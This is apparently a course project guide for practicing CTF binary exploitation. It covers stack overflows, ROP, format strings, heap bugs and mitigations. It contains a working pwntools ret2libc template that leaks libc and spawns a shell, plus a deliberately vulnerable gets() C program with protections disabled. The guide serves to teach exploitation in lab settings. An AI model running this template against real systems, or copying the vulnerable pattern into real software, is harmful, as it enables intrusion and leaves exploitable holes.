Project 16: CTF Binary Exploitation Practice

Expanded deep-dive guide for Project 16 from the Binary Analysis sprint.

Quick Reference

Attribute Value
Difficulty Level 3: Advanced
Time Estimate Ongoing (2+ months)
Main Programming Language Python (pwntools)
Alternative Programming Languages Shell scripting
Coolness Level Level 5: Pure Magic (Super Cool)
Business Potential 1. The “Resume Gold”
Knowledge Area CTF / Competitive Hacking
Software or Tool pwntools, Docker, CTF platforms
Main Book “CTF Field Guide” (Trail of Bits)

1. Learning Objectives

  1. Build a working implementation with reproducible outputs.
  2. Justify key design choices with binary-analysis principles.
  3. Produce an evidence-backed report of findings and limitations.
  4. Document hardening or next-step improvements.

2. All Theory Needed (Per-Concept Breakdown)

This project depends on concepts from the main sprint primer: loader semantics, control/data-flow recovery, runtime observation, and mitigation-aware vulnerability reasoning. Before implementation, restate the project’s core assumptions in your own words and define how you will validate them.

3. Project Specification

3.1 What You Will Build

Solve 20+ CTF pwn challenges from various difficulty levels, building a personal exploit template library.

3.2 Functional Requirements

  1. Accept the target binary/input and validate format assumptions.
  2. Produce analyzable outputs (console report and/or artifacts).
  3. Handle malformed inputs safely with explicit errors.

3.3 Non-Functional Requirements

  • Reproducibility: same input should produce equivalent findings.
  • Safety: unknown samples run only in isolated lab contexts.
  • Clarity: separate facts, hypotheses, and inferred conclusions.

3.4 Expanded Project Brief

  • File: P16-ctf-binary-exploitation-practice.md

  • Main Programming Language: Python (pwntools)
  • Alternative Programming Languages: Shell scripting
  • Coolness Level: Level 5: Pure Magic (Super Cool)
  • Business Potential: 1. The “Resume Gold”
  • Difficulty: Level 3: Advanced
  • Knowledge Area: CTF / Competitive Hacking
  • Software or Tool: pwntools, Docker, CTF platforms
  • Main Book: “CTF Field Guide” (Trail of Bits)

What you’ll build: Solve 20+ CTF pwn challenges from various difficulty levels, building a personal exploit template library.

Why it teaches binary analysis: CTF challenges are designed to teach specific concepts. They provide immediate feedback and gamified learning.

Core challenges you’ll face:

  • Various vulnerability types → maps to stack, heap, format string
  • Different protections → maps to ASLR, NX, canary, PIE
  • Time pressure → maps to efficient analysis workflow
  • Novel techniques → maps to learning new tricks

Resources for key challenges:

Key Concepts:

  • Challenge Categories: CTF101.org
  • Exploit Primitives: “The Shellcoder’s Handbook”
  • Advanced Techniques: CTF writeups

Difficulty: Advanced Time estimate: Ongoing (2+ months) Prerequisites: Projects 7-8 (Buffer Overflow, ROP)

Real World Outcome

Deliverables:

  • Analysis output or tooling scripts
  • Report with control/data flow notes

Validation checklist:

  • Parses sample binaries correctly
  • Findings are reproducible in debugger
  • No unsafe execution outside lab ```python

    Exploit template

    from pwn import *

Configuration

binary = ‘./challenge’ libc = ‘./libc.so.6’ if args.REMOTE else ‘/lib/x86_64-linux-gnu/libc.so.6’ host, port = ‘challenge.ctf.com’, 1337

Setup

elf = context.binary = ELF(binary) libc = ELF(libc)

def conn(): if args.REMOTE: return remote(host, port) elif args.GDB: return gdb.debug(binary, ‘’’ break main continue ‘’’) else: return process(binary)

Gadgets

rop = ROP(elf) pop_rdi = rop.find_gadget([‘pop rdi’, ‘ret’])[0] ret = rop.find_gadget([‘ret’])[0]

Exploit

def exploit(): p = conn()

# Stage 1: Leak libc
payload = flat({
    0x48: pop_rdi,
    0x50: elf.got['puts'],
    0x58: elf.plt['puts'],
    0x60: elf.symbols['main']
})

p.sendlineafter(b'> ', payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')

# Stage 2: Shell
payload = flat({
    0x48: ret,
    0x50: pop_rdi,
    0x58: next(libc.search(b'/bin/sh')),
    0x60: libc.symbols['system']
})

p.sendlineafter(b'> ', payload)
p.interactive()

if name == ‘main’: exploit()


#### Hints in Layers
Progression path:
1. **Stack challenges**: Buffer overflow, ret2win
2. **ROP challenges**: ret2libc, ROP chains
3. **Format string**: Read/write primitives
4. **Heap challenges**: Use-after-free, heap overflow
5. **Advanced**: House of Force, tcache poisoning

Build your template library:
- `leak_libc.py` - Standard libc leak pattern
- `rop_chain.py` - ROP chain builder
- `format_string.py` - Format string exploit
- `heap_exploit.py` - Heap exploitation patterns

Practice platforms:
- pwnable.kr (beginner-friendly)
- ROP Emporium (ROP-focused)
- pwnable.tw (advanced)
- picoCTF (beginner)

**Learning milestones**:
1. **Solve 10 stack challenges** → Master buffer overflows
2. **Solve 5 ROP challenges** → Bypass NX
3. **Solve 5 format string** → Arbitrary read/write
4. **Attempt heap challenges** → Enter advanced territory

#### The Core Question You Are Answering

**"How do you systematically discover and exploit vulnerabilities in compiled binaries, and why are CTF challenges the fastest way to master binary exploitation?"**

This project is about deliberate practice. CTF (Capture The Flag) pwn challenges are carefully designed to teach specific exploitation techniques in a safe, legal environment. Unlike real-world vulnerabilities (which are rare and unpredictable), CTF challenges provide concentrated, progressive skill-building opportunities. You'll develop the muscle memory and intuition that separates hobbyists from professional exploit developers.

#### Concepts You Must Understand First

1. **Stack-Based Buffer Overflows**
   - The classic: writing past the end of a stack buffer to overwrite return addresses
   - Stack layout: local variables, saved frame pointer, return address, function arguments
   - Exploitation: overwrite return address to redirect execution

   *Guiding Questions:*
   - What's the exact memory layout of a stack frame on x86-64?
   - How much offset do you need to reach the return address?
   - What's the difference between x86 (32-bit) and x86-64 (64-bit) exploitation?

   *Book References:*
   - "Hacking: The Art of Exploitation" by Jon Erickson - Ch 0x300: Exploitation
   - "Computer Systems: A Programmer's Perspective" by Bryant & O'Hallaron - Ch 3.7: Procedures (stack frame details)

2. **Return-Oriented Programming (ROP)**
   - When DEP/NX prevents shellcode execution, chain existing code fragments (gadgets)
   - Gadget: short instruction sequence ending in ret
   - ROP chain: sequence of addresses that performs desired operations

   *Guiding Questions:*
   - Why does ROP bypass DEP/NX?
   - How do you find gadgets in a binary?
   - What's the minimum set of gadgets needed for arbitrary code execution?

   *Book References:*
   - "Hacking: The Art of Exploitation" by Jon Erickson - Ch 0x300 (advanced exploitation)
   - "The Shellcoder's Handbook" - Ch on ROP techniques

3. **Format String Vulnerabilities**
   - printf(user_input) allows reading/writing arbitrary memory
   - %x reads stack, %n writes to addresses, %s dereferences pointers
   - Exploitation: leak addresses, overwrite GOT entries, arbitrary write

   *Guiding Questions:*
   - How does %n write to memory in printf?
   - How do you calculate the offset to your format string on the stack?
   - Why are format strings more powerful than buffer overflows?

   *Book References:*
   - "Hacking: The Art of Exploitation" by Jon Erickson - Ch 0x300: Format strings
   - "The Shellcoder's Handbook" - Format string chapter

4. **Memory Protections (ASLR, DEP, Stack Canaries, PIE)**
   - ASLR: randomizes addresses, defeats hardcoded exploits
   - DEP/NX: prevents code execution on stack/heap
   - Stack canaries: detect buffer overflows before return
   - PIE: code section also randomized

   *Guiding Questions:*
   - How do you bypass ASLR? (information leak + relative addressing)
   - What happens when a canary is overwritten?
   - Can you bypass all protections simultaneously?

   *Book References:*
   - "Practical Binary Analysis" by Dennis Andriesse - Ch 1: Security mechanisms
   - "Hacking: The Art of Exploitation" by Jon Erickson - Ch 0x500: Shellcode

5. **Heap Exploitation Basics**
   - Heap allocators (malloc/free) have exploitable metadata
   - Use-after-free: accessing freed memory
   - Double-free: freeing same pointer twice
   - Heap overflow: overwriting heap metadata

   *Guiding Questions:*
   - How does malloc/free work internally?
   - What is a heap chunk header?
   - What's the difference between fastbin, smallbin, largebin?

   *Book References:*
   - "The Shellcoder's Handbook" - Heap exploitation chapters
   - Research papers on heap exploitation techniques

6. **Pwntools and Exploit Development Workflow**
   - Pwntools: Python library for exploit development
   - Workflow: analyze binary → find vulnerability → develop exploit → test locally → remote exploitation
   - Automation: template scripts, reusable patterns

   *Guiding Questions:*
   - How do you interact with remote services in pwntools?
   - What's the benefit of Python for exploit development?
   - How do you debug exploits that work locally but fail remotely?

   *Book References:*
   - Pwntools documentation
   - "CTF Field Guide" (Trail of Bits)

#### Questions to Guide Your Design

1. **Which platform to start?** pwnable.kr (beginner), ROP Emporium (ROP focus), or picoCTF (educational)?

2. **Systematic vs opportunistic learning?** Follow structured curriculum or jump to interesting challenges?

3. **Template library strategy?** Create reusable exploit patterns or write from scratch each time?

4. **How do you document solutions?** Writeups for each challenge? Annotated exploit code?

5. **Local vs remote testing?** Set up Docker containers locally or test directly on remote services?

6. **Tool choices?** GDB with pwndbg/gef, radare2, or IDA for analysis?

7. **Collaboration approach?** Solo learning or team/community collaboration?

8. **How do you handle getting stuck?** Time-box before looking at hints/writeups?

#### Thinking Exercise

**Before coding exploits, complete this analysis exercise:**

1. **Analyze this vulnerable code:**
   ```c
   #include <stdio.h>
   #include <stdlib.h>

   void win() {
       system("/bin/sh");
   }

   void vuln() {
       char buffer[64];
       gets(buffer);  // Vulnerable!
   }

   int main() {
       vuln();
       return 0;
   }
  1. Manual exploitation steps:
    • Compile with gcc -o vuln vuln.c -fno-stack-protector -no-pie
    • Disassemble and find win() address
    • Calculate offset from buffer to return address
    • Craft payload: padding + win_address
    • Test locally: python -c 'print("A"*72 + "ABCD")' | ./vuln
  2. Document:
    • Vulnerability type: Stack buffer overflow
    • Protections disabled: No canary, no PIE
    • Win condition: Call win() function
    • Exploitation technique: Overwrite return address
    • Payload structure: [padding][win_address]

The Interview Questions They’ll Ask

  1. “Walk me through exploiting a basic stack buffer overflow.”
    • Find overflow, calculate offset to return address, overwrite with target address (shellcode or win function).
  2. “What’s the difference between exploiting 32-bit vs 64-bit binaries?”
    • x86: args on stack. x86-64: args in registers (rdi, rsi, rdx…). Pointers 8 bytes vs 4. Different calling conventions.
  3. “Explain Return-Oriented Programming.”
    • Chain gadgets (code ending in ret) to perform operations when NX prevents shellcode. Each gadget address on stack acts as return address.
  4. “How do you bypass ASLR?”
    • Leak an address (format string, buffer over-read), calculate base from leak, use relative offsets.
  5. “What’s a format string vulnerability and why is it powerful?”
    • printf(user_input) allows reading stack (%x) and writing memory (%n). Can leak addresses and modify GOT/function pointers.
  6. “Explain stack canaries. How do you bypass them?”
    • Random value placed before return address. Checked on return. Bypass: leak canary value, preserve it in overflow.
  7. “What’s a GOT overwrite and when is it useful?”
    • Global Offset Table holds addresses of library functions. Overwrite entry to hijack function calls. Useful when you can’t directly control execution.
  8. “Describe a use-after-free vulnerability.”
    • Accessing freed memory. Allocate new object in same location, old pointer now references new object. Type confusion or data leak.
  9. “What tools do you use for binary exploitation?”
    • pwntools (exploit development), GDB with pwndbg/gef (debugging), ROPgadget/ropper (gadget finding), checksec (protection checking).
  10. “What’s your methodology for approaching a new CTF pwn challenge?”
    • Check protections → run binary → analyze in debugger → identify vulnerability → develop exploit locally → adapt for remote.

Books That Will Help

Topic Book Chapters
Exploitation Fundamentals “Hacking: The Art of Exploitation” by Jon Erickson Ch 0x300: Exploitation
Ch 0x500: Shellcode
System Internals “Computer Systems: A Programmer’s Perspective” by Bryant & O’Hallaron Ch 3: Machine-Level Representation
Ch 7: Linking
Binary Analysis “Practical Binary Analysis” by Dennis Andriesse Ch 1: Anatomy of a Binary
Ch 6: Binary Analysis Fundamentals
Assembly Language “Low-Level Programming” by Igor Zhirkov Ch 4-5: Assembly and Control Flow
Advanced Exploitation “The Shellcoder’s Handbook” ROP, Format Strings, Heap Exploitation chapters
Practical Guides “CTF Field Guide” (Trail of Bits) Available online
CTF Walkthroughs “Nightmare” (guyinatuxedo) Comprehensive CTF solutions - available on GitHub

Common Pitfalls and Debugging

Problem 1: “Your interpretation does not match runtime behavior”

  • Why: Static analysis can hide runtime-resolved addresses, lazy binding, and input-dependent branches.
  • Fix: Reproduce the path with debugger or tracer, then compare static assumptions against live register/memory state.
  • Quick test: Run the same sample through both your static workflow and a debugger transcript, and confirm control-flow decisions align.

Problem 2: “Tool output is inconsistent across machines”

  • Why: ASLR, tool version drift, and different binary build flags (PIE, RELRO, symbols stripped) change observed addresses and metadata.
  • Fix: Pin tool versions, capture checksec/metadata, and document environment assumptions in your report.
  • Quick test: Re-run analysis in a container or VM with pinned tools and compare hashes of generated outputs.

Problem 3: “Analysis accidentally executes unsafe code”

  • Why: Dynamic workflows run binaries in host context without sufficient isolation.
  • Fix: Use disposable snapshots, no-network execution, and non-privileged users for all unknown samples.
  • Quick test: Validate isolation controls first (network disabled, snapshot active, unprivileged user), then execute sample.

Definition of Done

  • Core functionality works on reference inputs
  • Edge cases are tested and documented
  • Results are reproducible (same binary, same tools, same report output)
  • Analysis notes clearly separate observations, assumptions, and conclusions
  • Lab safety controls were applied for any dynamic execution

4. Solution Architecture

Input Artifact -> Parse/Decode -> Analysis Engine -> Validation Layer -> Report

Design each stage so intermediate artifacts are inspectable (JSON/text/notes), which makes debugging and peer review much easier.

5. Implementation Phases

Phase 1: Foundation

  • Define input assumptions and format checks.
  • Produce a minimal golden output on one known sample.

Phase 2: Core Functionality

  • Implement full analysis pass for normal cases.
  • Add validation against an external ground-truth tool.

Phase 3: Hard Cases and Reporting

  • Add malformed/edge-case handling.
  • Finalize report template and reproducibility notes.

6. Testing Strategy

  • Unit-level checks for parser/decoder helpers.
  • Integration checks against known binaries/challenges.
  • Regression tests for previously failing cases.

7. Extensions & Challenges

  • Add automation for batch analysis and comparative reports.
  • Add confidence scoring for each major finding.
  • Add export formats suitable for CI/security pipelines.

8. Production Reflection

Map your project output to a production analogue: what reliability, observability, and security controls would be required to run this continuously in an engineering organization?